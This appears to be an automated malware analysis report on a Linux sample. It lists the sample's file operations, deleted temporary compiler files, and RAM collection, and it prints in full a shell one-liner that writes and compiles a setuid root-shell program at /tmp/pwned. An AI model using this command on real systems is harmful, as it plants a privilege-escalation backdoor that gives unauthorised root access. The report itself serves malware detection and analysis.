Technical Information
Malicious functions:
Compiles a program from source codes:
- gcc /tmp/pwned.c -o /tmp/pwned
Launches processes:
- sh -c echo \"main(){setuid(0);setgid(0);system(\\"/bin/sh\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c
- rm -f /tmp/pwned.c
Kills the following processes:
- <SAMPLE>
Performs operations with the file system:
Modifies file access rights:
- /tmp/pwned
Creates or modifies files:
- /tmp/pwned.c
- /root/core
- /tmp/cc7uBqe0.s
- /tmp/ccFSgAU5.o
- /tmp/ccoglqkc.res
- /tmp/ccd9JYwx.c
- /tmp/ccpnYvdE.o
- /tmp/cctzFhUK.ld
- /tmp/ccDymsBR.le
- /tmp/pwned
Deletes files:
- /tmp/pwned.c
- /root/core
- /tmp/cctzFhUK.ld
- /tmp/ccDymsBR.le
- /tmp/ccd9JYwx.c
- /tmp/ccpnYvdE.o
- /tmp/ccoglqkc.res
- /tmp/ccFSgAU5.o
- /tmp/cc7uBqe0.s
Other:
Collects RAM information
